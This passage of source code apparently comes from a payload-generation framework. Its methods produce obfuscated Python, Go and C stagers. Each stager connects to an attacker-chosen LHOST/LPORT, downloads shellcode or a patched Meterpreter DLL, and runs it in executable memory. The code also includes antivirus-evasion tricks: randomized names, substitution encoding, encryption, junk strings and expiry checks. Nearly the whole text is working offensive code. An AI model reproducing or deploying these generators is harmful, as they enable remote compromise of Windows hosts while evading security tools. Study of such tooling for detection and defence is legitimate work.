'\"\n' payload_code += subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n' payload_code += shellcode_variable_name + ' = bytearray(' + subbed_shellcode_variable_name + '.decode(\"string_escape\"))\n' payload_code += shellcode_variable_name + ' = bytearray(' + subbed_shellcode_variable_name + '.decode(\"string_escape\"))\n' payload_code += HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + shellcode_variable_name + ') * 2),ctypes.c_int(0))\n' payload_code += rand_ptr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + shellcode_variable_name + ')))\n' payload_code += rand_buf + ' = (ctypes.c_char * len(' + shellcode_variable_name + ')).from_buffer(' + shellcode_variable_name + ')\n' payload_code += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + rand_ptr + '),' + rand_buf + ',ctypes.c_int(len(' + shellcode_variable_name + ')))\n' payload_code += rand_ht + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + rand_ptr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' payload_code += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + rand_ht + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": payload_code = crypters.pyherion(payload_code) return payload_code else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["expire_payload"][0]))) # Extra Variables RandToday = helpers.randomString() RandExpire = helpers.randomString() HeapVar = helpers.randomString() # Create Payload File payload_code = 'import ctypes\n' payload_code += 'from string import maketrans\n' payload_code += 'from datetime import datetime\n' payload_code += 'from datetime import date\n\n' payload_code += RandToday + ' = datetime.now()\n' payload_code += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' payload_code += 'if ' + RandToday + ' < ' + RandExpire + ':\n' payload_code += '\t' + rand_decoded_letter + ' = "%s"\n' % decode_with_this payload_code += '\t' + rand_correct_letter + ' = "%s"\n' % encode_with_this payload_code += '\t' + rand_sub_scheme + ' = maketrans(' + rand_decoded_letter + ', ' + rand_correct_letter + ')\n' payload_code += '\t' + subbed_shellcode_variable_name + ' = \"' + Shellcode.translate( sub_scheme) + '\"\n' payload_code += '\t' + subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n' payload_code += '\t' + shellcode_variable_name + ' = bytearray(' + subbed_shellcode_variable_name + '.decode(\"string_escape\"))\n' payload_code += '\t' + shellcode_variable_name + ' = bytearray(' + subbed_shellcode_variable_name + '.decode(\"string_escape\"))\n' payload_code += '\t' + HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + shellcode_variable_name + ') * 2),ctypes.c_int(0))\n' payload_code += '\t' + rand_ptr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + shellcode_variable_name + ')))\n' payload_code += '\t' + rand_buf + ' = (ctypes.c_char * len(' + shellcode_variable_name + ')).from_buffer(' + shellcode_variable_name + ')\n' payload_code += '\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + rand_ptr + '),' + rand_buf + ',ctypes.c_int(len(' + shellcode_variable_name + ')))\n' payload_code += '\t' + rand_ht + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + rand_ptr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' payload_code += '\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + rand_ht + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": payload_code = crypters.pyherion(payload_code) return payload_code else: if self.required_options["expire_payload"][0].lower() == "x": #Additional random variable names rand_reverse_shell = helpers.randomString() rand_memory_shell = helpers.randomString() rand_shellcode = helpers.randomString() # Create Payload File payload_code = 'from ctypes import *\n' payload_code += 'from string import maketrans\n' payload_code += rand_decoded_letter + ' = "%s"\n' % decode_with_this payload_code += rand_correct_letter + ' = "%s"\n' % encode_with_this payload_code += rand_sub_scheme + ' = maketrans(' + rand_decoded_letter + ', ' + rand_correct_letter + ')\n' payload_code += subbed_shellcode_variable_name + ' = \"' + Shellcode.translate( sub_scheme) + '\"\n' payload_code += subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n' payload_code += subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.decode(\"string_escape\")\n' payload_code += rand_memory_shell + ' = create_string_buffer(' + subbed_shellcode_variable_name + ', len(' + subbed_shellcode_variable_name + '))\n' payload_code += rand_shellcode + ' = cast(' + rand_memory_shell + ', CFUNCTYPE(c_void_p))\n' payload_code += rand_shellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) return payload_code else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["expire_payload"][0]))) # Extra Variables RandToday = helpers.randomString() RandExpire = helpers.randomString() #Additional random variable names rand_reverse_shell = helpers.randomString() rand_memory_shell = helpers.randomString() rand_shellcode = helpers.randomString() # Create Payload File payload_code = 'from ctypes import *\n' payload_code += 'from string import maketrans\n' payload_code += 'from datetime import datetime\n' payload_code += 'from datetime import date\n\n' payload_code += RandToday + ' = datetime.now()\n' payload_code += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' payload_code += 'if ' + RandToday + ' < ' + RandExpire + ':\n' payload_code += '\t' + rand_decoded_letter + ' = "%s"\n' % decode_with_this payload_code += '\t' + rand_correct_letter + ' = "%s"\n' % encode_with_this payload_code += '\t' + rand_sub_scheme + ' = maketrans(' + rand_decoded_letter + ', ' + rand_correct_letter + ')\n' payload_code += '\t' + subbed_shellcode_variable_name + ' = \"' + Shellcode.translate( sub_scheme) + '\"\n' payload_code += '\t' + subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n' payload_code += '\t' + subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.decode(\"string_escape\")\n' payload_code += '\t' + rand_memory_shell + ' = create_string_buffer(' + subbed_shellcode_variable_name + ', len(' + subbed_shellcode_variable_name + '))\n' payload_code += '\t' + rand_shellcode + ' = cast(' + rand_memory_shell + ', CFUNCTYPE(c_void_p))\n' payload_code += '\t' + rand_shellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) return payload_code
def generate(self): memCommit = helpers.randomString() memReserve = helpers.randomString() pageExecRW = helpers.randomString() kernel32 = helpers.randomString() procVirtualAlloc = helpers.randomString() virtualAlloc = helpers.randomString() size = helpers.randomString() addr = helpers.randomString() err = helpers.randomString() wsadata = helpers.randomString() socket = helpers.randomString() socketAddr = helpers.randomString() ip = self.required_options["LHOST"][0].split('.') buf = helpers.randomString() dataBuf = helpers.randomString() flags = helpers.randomString() qty = helpers.randomString() scLength = helpers.randomString() sc = helpers.randomString() sc2 = helpers.randomString() total = helpers.randomString() mem = helpers.randomString() buffer = helpers.randomString() handle = helpers.randomString() x = helpers.randomString() value = helpers.randomString() payloadCode = "package main\nimport (\n\"encoding/binary\"\n\"syscall\"\n\"unsafe\"\n)\n" payloadCode += "const (\n" payloadCode += "%s = 0x1000\n" %(memCommit) payloadCode += "%s = 0x2000\n" %(memReserve) payloadCode += "%s = 0x40\n)\n" %(pageExecRW) payloadCode += "var (\n" payloadCode += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" %(kernel32) payloadCode += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" %(procVirtualAlloc, kernel32) payloadCode += "func %s(%s uintptr) (uintptr, error) {\n" %(virtualAlloc, size) payloadCode += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" %(addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payloadCode += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(addr, err, addr) payloadCode += "func main() {\n" payloadCode += "var %s syscall.WSAData\n" %(wsadata) payloadCode += "syscall.WSAStartup(uint32(0x202), &%s)\n" %(wsadata) payloadCode += "%s, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n" %(socket) payloadCode += "%s := syscall.SockaddrInet4{Port: %s, Addr: [4]byte{%s, %s, %s, %s}}\n" %(socketAddr, self.required_options["LPORT"][0], ip[0], ip[1], ip[2], ip[3]) payloadCode += "syscall.Connect(%s, &%s)\n" %(socket, socketAddr) payloadCode += "var %s [4]byte\n" %(buf) payloadCode += "%s := syscall.WSABuf{Len: uint32(4), Buf: &%s[0]}\n" %(dataBuf, buf) payloadCode += "%s := uint32(0)\n" %(flags) payloadCode += "%s := uint32(0)\n" %(qty) payloadCode += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" %(socket, dataBuf, qty, flags) payloadCode += "%s := binary.LittleEndian.Uint32(%s[:])\n" %(scLength, buf) payloadCode += "%s := make([]byte, %s)\n" %(sc, scLength) payloadCode += "var %s []byte\n" %(sc2) payloadCode += "%s = syscall.WSABuf{Len: %s, Buf: &%s[0]}\n" %(dataBuf, scLength, sc) payloadCode += "%s = uint32(0)\n" %(flags) payloadCode += "%s = uint32(0)\n" %(qty) payloadCode += "%s := uint32(0)\n" %(total) payloadCode += "for %s < %s {\n" %(total, scLength) payloadCode += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" %(socket, dataBuf, qty, flags) payloadCode += "for i := 0; i < int(%s); i++ {\n" %(qty) payloadCode += "%s = append(%s, %s[i])\n}\n%s += %s\n}\n" %(sc2, sc2, sc, total, qty) payloadCode += "%s, _ := %s(uintptr(%s + 5))\n" %(mem, virtualAlloc, scLength) payloadCode += "%s := (*[900000]byte)(unsafe.Pointer(%s))\n" %(buffer, mem) payloadCode += "%s := (uintptr)(unsafe.Pointer(%s))\n" %(handle, socket) payloadCode += "%s[0] = 0xBF\n" %(buffer) payloadCode += "%s[1] = byte(%s)\n" %(buffer, handle) payloadCode += "%s[2] = 0x00\n" %(buffer) payloadCode += "%s[3] = 0x00\n" %(buffer) payloadCode += "%s[4] = 0x00\n" %(buffer) payloadCode += "for %s, %s := range %s {\n" %(x, value, sc2) payloadCode += "%s[%s+5] = %s\n}\n" %(buffer, x, value) payloadCode += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" %(mem) return payloadCode
def generate(self): if os.path.exists(settings.METASPLOIT_PATH + "/vendor/bundle/ruby/1.9.1/gems/meterpreter_bins-0.0.10/meterpreter/metsrv.x86.dll"): metsrvPath = settings.METASPLOIT_PATH + "/vendor/bundle/ruby/1.9.1/gems/meterpreter_bins-0.0.10/meterpreter/metsrv.x86.dll" else: print "[*] Error: You either do not have the latest version of Metasploit or" print "[*] Error: do not have your METASPLOIT_PATH set correctly in your settings file." print "[*] Error: Please fix either issue then select this payload again!" sys.exit() f = open(metsrvPath, 'rb') meterpreterDll = f.read() f.close() # lambda function used for patching the metsvc.dll dllReplace = lambda dll,ind,s: dll[:ind] + s + dll[ind+len(s):] # patch the metsrv.dll header headerPatch = helpers.selfcontained_patch() meterpreterDll = dllReplace(meterpreterDll,0,headerPatch) # patch in the default user agent string userAgentIndex = meterpreterDll.index("METERPRETER_UA\x00") userAgentString = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00" meterpreterDll = dllReplace(meterpreterDll,userAgentIndex,userAgentString) # turn off SSL sslIndex = meterpreterDll.index("METERPRETER_TRANSPORT_SSL") sslString = "METERPRETER_TRANSPORT_HTTP\x00" meterpreterDll = dllReplace(meterpreterDll,sslIndex,sslString) # replace the URL/port of the handler urlIndex = meterpreterDll.index("https://" + ("X" * 256)) urlString = "http://" + self.required_options['LHOST'][0] + ":" + str(self.required_options['LPORT'][0]) + "/" + self.genHTTPChecksum() + "_" + helpers.randomString(16) + "/\x00" meterpreterDll = dllReplace(meterpreterDll,urlIndex,urlString) # replace the expiration timeout with the default value of 300 expirationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xb64be661)) expirationTimeout = struct.pack('<I', 604800) meterpreterDll = dllReplace(meterpreterDll,expirationTimeoutIndex,expirationTimeout) # replace the communication timeout with the default value of 300 communicationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xaf79257f)) communicationTimeout = struct.pack('<I', 300) meterpreterDll = dllReplace(meterpreterDll,communicationTimeoutIndex,communicationTimeout) # compress/base64 encode the dll compressedDll = helpers.deflate(meterpreterDll) # actually build out the payload payloadCode = "" # traditional void pointer injection if self.required_options["inject_method"][0].lower() == "void": # doing void * cast payloadCode += "from ctypes import *\nimport base64,zlib\n" randInflateFuncName = helpers.randomString() randb64stringName = helpers.randomString() randVarName = helpers.randomString() # deflate function payloadCode += "def "+randInflateFuncName+"("+randb64stringName+"):\n" payloadCode += "\t" + randVarName + " = base64.b64decode( "+randb64stringName+" )\n" payloadCode += "\treturn zlib.decompress( "+randVarName+" , -15)\n" randVarName = helpers.randomString() randFuncName = helpers.randomString() payloadCode += randVarName + " = " + randInflateFuncName + "(\"" + compressedDll + "\")\n" payloadCode += randFuncName + " = cast(" + randVarName + ", CFUNCTYPE(c_void_p))\n" payloadCode += randFuncName+"()\n" # VirtualAlloc() injection else: payloadCode += 'import ctypes,base64,zlib\n' randInflateFuncName = helpers.randomString() randb64stringName = helpers.randomString() randVarName = helpers.randomString() randPtr = helpers.randomString() randBuf = helpers.randomString() randHt = helpers.randomString() # deflate function payloadCode += "def "+randInflateFuncName+"("+randb64stringName+"):\n" payloadCode += "\t" + randVarName + " = base64.b64decode( "+randb64stringName+" )\n" payloadCode += "\treturn zlib.decompress( "+randVarName+" , -15)\n" payloadCode += randVarName + " = bytearray(" + randInflateFuncName + "(\"" + compressedDll + "\"))\n" payloadCode += randPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ randVarName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' payloadCode += randBuf + ' = (ctypes.c_char * len(' + randVarName + ')).from_buffer(' + randVarName + ')\n' payloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + randPtr + '),' + randBuf + ',ctypes.c_int(len(' + randVarName + ')))\n' payloadCode += randHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + randPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' payloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + randHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": payloadCode = encryption.pyherion(payloadCode) return payloadCode
def generate(self): sumvalue_name = helpers.randomString() checksum_name = helpers.randomString() winsock_init_name = helpers.randomString() punt_name = helpers.randomString() wsconnect_name = helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>", "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>", ] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100, global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = helpers.randomString() # reverse() randName2 = helpers.randomString() # doubles characters stringModFunctions = [ ( randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" % (randName1), ), ( randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" % (randName2), ), ] random.shuffle(stringModFunctions) # obfuscation "logical nop" string generation functions randString1 = helpers.randomString(50) randName1 = helpers.randomString() randVar1 = helpers.randomString() randName2 = helpers.randomString() randVar2 = helpers.randomString() randVar3 = helpers.randomString() randName3 = helpers.randomString() randVar4 = helpers.randomString() randVar5 = helpers.randomString() stringGenFunctions = [ ( randName1, 'char* %s(){ char *%s = %s("%s"); return strstr( %s, "%s" );}' % ( randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1) / 2], ), ), ( randName2, 'char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,"%s"); strcpy(%s,"%s"); return %s(strcat( %s, %s)); }' % ( randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3, ), ), ( randName3, 'char* %s() { char %s[%s] = "%s"; char *%s = strupr(%s); return strlwr(%s); }' % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5), ), ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = [ "#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>", ] t = random.randint(1, 7) for x in xrange(1, random.randint(1, 7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" # string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the sumValue function string_arg_name = helpers.randomString() retval_name = helpers.randomString() code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) code += "int %s=0; int i;" % (retval_name) code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" % (string_arg_name, retval_name, string_arg_name) code += "return (%s %% 256);}\n" % (retval_name) # build the winsock_init function wVersionRequested_name = helpers.randomString() wsaData_name = helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % ( wVersionRequested_name, helpers.obfuscateNum(2, 4), helpers.obfuscateNum(2, 4), wsaData_name, ) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" % (wVersionRequested_name, wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = helpers.randomString() code += "void %s(SOCKET %s) {" % (punt_name, my_socket_name) code += "closesocket(%s);" % (my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build the reverse_http uri checksum function randchars = "".join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", 62)) characters_name = helpers.randomString() string_var_name = helpers.randomString() code += "char* %s(){" % (checksum_name) code += "srand (time(NULL));int i;" code += 'char %s[] = "%s";' % (characters_name, randchars) code += "char* %s = malloc(5); %s[4] = 0;" % (string_var_name, string_var_name) code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" % ( string_var_name, characters_name, characters_name, ) code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name) code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name, string_var_name, string_var_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function target_name = helpers.randomString() sock_name = helpers.randomString() my_socket_name = helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % ( wsconnect_name, target_name, sock_name, my_socket_name, ) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" % (my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" % (my_socket_name, punt_name, my_socket_name) code += '%s = gethostbyname("%s");' % (target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" % (target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" % (sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" % (sock_name) code += "%s.sin_port = htons(%s);" % ( sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]), 32), ) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" % ( my_socket_name, sock_name, sock_name, punt_name, my_socket_name, ) code += "return %s;}\n" % (my_socket_name) # build main() code size_name = helpers.randomString() buffer_name = helpers.randomString() function_name = helpers.randomString() my_socket_name = helpers.randomString() count_name = helpers.randomString() request_buf_name = helpers.randomString() buf_counter_name = helpers.randomString() bytes_read_name = helpers.randomString() # obfuscation stuff char_array_name_1 = helpers.randomString() number_of_strings_1 = random.randint(1, max_num_strings) char_array_name_2 = helpers.randomString() number_of_strings_2 = random.randint(1, max_num_strings) char_array_name_3 = helpers.randomString() number_of_strings_3 = random.randint(1, max_num_strings) # main method code code += "int main(int argc, char * argv[]) {" code += "char * %s; int i;" % (buffer_name) # obfuscation code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_1, char_array_name_1, random.randint(max_string_length, global_max_string_length), ) # call the winsock init function code += "%s();" % (winsock_init_name) # obfuscation code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) # create our socket code += "SOCKET %s = %s();" % (my_socket_name, wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_2, char_array_name_2, random.randint(max_string_length, global_max_string_length), ) # build and send the HTTP request to the handler code += "char %s[200];" % (request_buf_name) code += ( 'sprintf(%s, "GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n", %s());' % (request_buf_name, self.required_options["LHOST"][0], self.required_options["LPORT"][0], checksum_name) ) code += "send(%s,%s, strlen( %s ),0);" % (my_socket_name, request_buf_name, request_buf_name) code += "Sleep(300);" # TODO: obfuscate/randomize the size of the page allocated code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" % (buffer_name) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_1, char_array_name_1, stringGenFunctions[0][0], ) # read the full server response into the buffer code += "char * %s = %s;" % (buf_counter_name, buffer_name) code += "int %s; do {" % (bytes_read_name) code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name) code += "%s += %s; }" % (buf_counter_name, bytes_read_name) code += "while ( %s > 0 );" % (bytes_read_name) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_3, char_array_name_3, random.randint(max_string_length, global_max_string_length), ) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_2, char_array_name_2, stringGenFunctions[1][0], ) # real code code += "closesocket(%s); WSACleanup();" % (my_socket_name) code += '((void (*)())strstr(%s, "\\r\\n\\r\\n") + 4)();' % (buffer_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_3, char_array_name_3, stringGenFunctions[2][0], ) code += "return 0;}\n" return code
def generate(self): self._validateArchitecture() # randomize all of the variable names used shellCodeName = helpers.randomString() socketName = helpers.randomString() intervalName = helpers.randomString() attemptsName = helpers.randomString() getDataMethodName = helpers.randomString() fdBufName = helpers.randomString() rcvStringName = helpers.randomString() rcvCStringName = helpers.randomString() injectMethodName = helpers.randomString() tempShellcodeName = helpers.randomString() shellcodeBufName = helpers.randomString() fpName = helpers.randomString() tempCBuffer = helpers.randomString() payloadCode = "import struct, socket, binascii, ctypes, random, time\n" # socket and shellcode variables that need to be kept global payloadCode += "%s, %s = None, None\n" % (shellCodeName,socketName) # build the method that creates a socket, connects to the handler, # and downloads/patches the meterpreter .dll payloadCode += "def %s():\n" %(getDataMethodName) payloadCode += "\ttry:\n" payloadCode += "\t\tglobal %s\n" %(socketName) # build the socket and connect to the handler payloadCode += "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) payloadCode += "\t\t%s.connect(('%s', %s))\n" %(socketName,self.required_options["LHOST"][0],self.required_options["LPORT"][0]) # pack the underlying socket file descriptor into a c structure payloadCode += "\t\t%s = struct.pack('<i', %s.fileno())\n" % (fdBufName,socketName) # unpack the length of the payload, received as a 4 byte array from the handler payloadCode += "\t\tl = struct.unpack('<i', str(%s.recv(4)))[0]\n" %(socketName) payloadCode += "\t\t%s = \" \"\n" % (rcvStringName) # receive ALL of the payload .dll data payloadCode += "\t\twhile len(%s) < l: %s += %s.recv(l)\n" % (rcvStringName, rcvStringName, socketName) payloadCode += "\t\t%s = ctypes.create_string_buffer(%s, len(%s))\n" % (rcvCStringName,rcvStringName,rcvStringName) # prepend a little assembly magic to push the socket fd into the edi register payloadCode += "\t\t%s[0] = binascii.unhexlify('BF')\n" %(rcvCStringName) # copy the socket fd in payloadCode += "\t\tfor i in xrange(4): %s[i+1] = %s[i]\n" % (rcvCStringName, fdBufName) payloadCode += "\t\treturn %s\n" % (rcvCStringName) payloadCode += "\texcept: return None\n" # build the method that injects the .dll into memory payloadCode += "def %s(%s):\n" %(injectMethodName,tempShellcodeName) payloadCode += "\tif %s != None:\n" %(tempShellcodeName) payloadCode += "\t\t%s = bytearray(%s)\n" %(shellcodeBufName,tempShellcodeName) # allocate enough virtual memory to stuff the .dll in payloadCode += "\t\t%s = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(%s)),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n" %(fpName,shellcodeBufName) # virtual lock to prevent the memory from paging out to disk payloadCode += "\t\tctypes.windll.kernel32.VirtualLock(ctypes.c_int(%s), ctypes.c_int(len(%s)))\n" %(fpName,shellcodeBufName) payloadCode += "\t\t%s = (ctypes.c_char * len(%s)).from_buffer(%s)\n" %(tempCBuffer,shellcodeBufName,shellcodeBufName) # copy the .dll into the allocated memory payloadCode += "\t\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(%s), %s, ctypes.c_int(len(%s)))\n" %(fpName,tempCBuffer,shellcodeBufName) # kick the thread off to execute the .dll payloadCode += "\t\tht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(%s),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n" %(fpName) # wait for the .dll execution to finish payloadCode += "\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))\n" # set up expiration options if specified if self.required_options["expire_payload"][0].lower() == "x": # download the stager payloadCode += "%s = %s()\n" %(shellCodeName, getDataMethodName) # inject what we grabbed payloadCode += "%s(%s)\n" % (injectMethodName,shellCodeName) else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) randToday = helpers.randomString() randExpire = helpers.randomString() payloadCode += 'from datetime import datetime\n' payloadCode += 'from datetime import date\n\n' payloadCode += randToday + ' = datetime.now()\n' payloadCode += randExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' payloadCode += 'if ' + randToday + ' < ' + randExpire + ':\n' # download the stager payloadCode += "\t%s = %s()\n" %(shellCodeName, getDataMethodName) # inject what we grabbed payloadCode += "\t%s(%s)\n" % (injectMethodName,shellCodeName) if self.required_options["use_pyherion"][0].lower() == "y": payloadCode = encryption.pyherion(payloadCode) return payloadCode
def generate(self): memCommit = helpers.randomString() memReserve = helpers.randomString() pageExecRW = helpers.randomString() kernel32 = helpers.randomString() procVirtualAlloc = helpers.randomString() base64Url = helpers.randomString() virtualAlloc = helpers.randomString() size = helpers.randomString() addr = helpers.randomString() err = helpers.randomString() randBase = helpers.randomString() length = helpers.randomString() foo = helpers.randomString() random = helpers.randomString() outp = helpers.randomString() i = helpers.randomString() randTextBase64URL = helpers.randomString() getURI = helpers.randomString() sumVar = helpers.randomString() checksum8 = helpers.randomString() uri = helpers.randomString() value = helpers.randomString() hostAndPort = helpers.randomString() port = self.required_options["LPORT"][0] host = self.required_options["LHOST"][0] response = helpers.randomString() uriLength = randint(5, 255) payload = helpers.randomString() bufferVar = helpers.randomString() x = helpers.randomString() payloadCode = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n" payloadCode += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n)\n" payloadCode += "const (\n" payloadCode += "%s = 0x1000\n" % (memCommit) payloadCode += "%s = 0x2000\n" % (memReserve) payloadCode += "%s = 0x40\n)\n" % (pageExecRW) payloadCode += "var (\n" payloadCode += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % ( kernel32) payloadCode += "%s = %s.NewProc(\"VirtualAlloc\")\n" % ( procVirtualAlloc, kernel32) payloadCode += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n)\n" % ( base64Url) payloadCode += "func %s(%s uintptr) (uintptr, error) {\n" % ( virtualAlloc, size) payloadCode += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % ( addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payloadCode += "if %s == 0 {\nreturn 0, 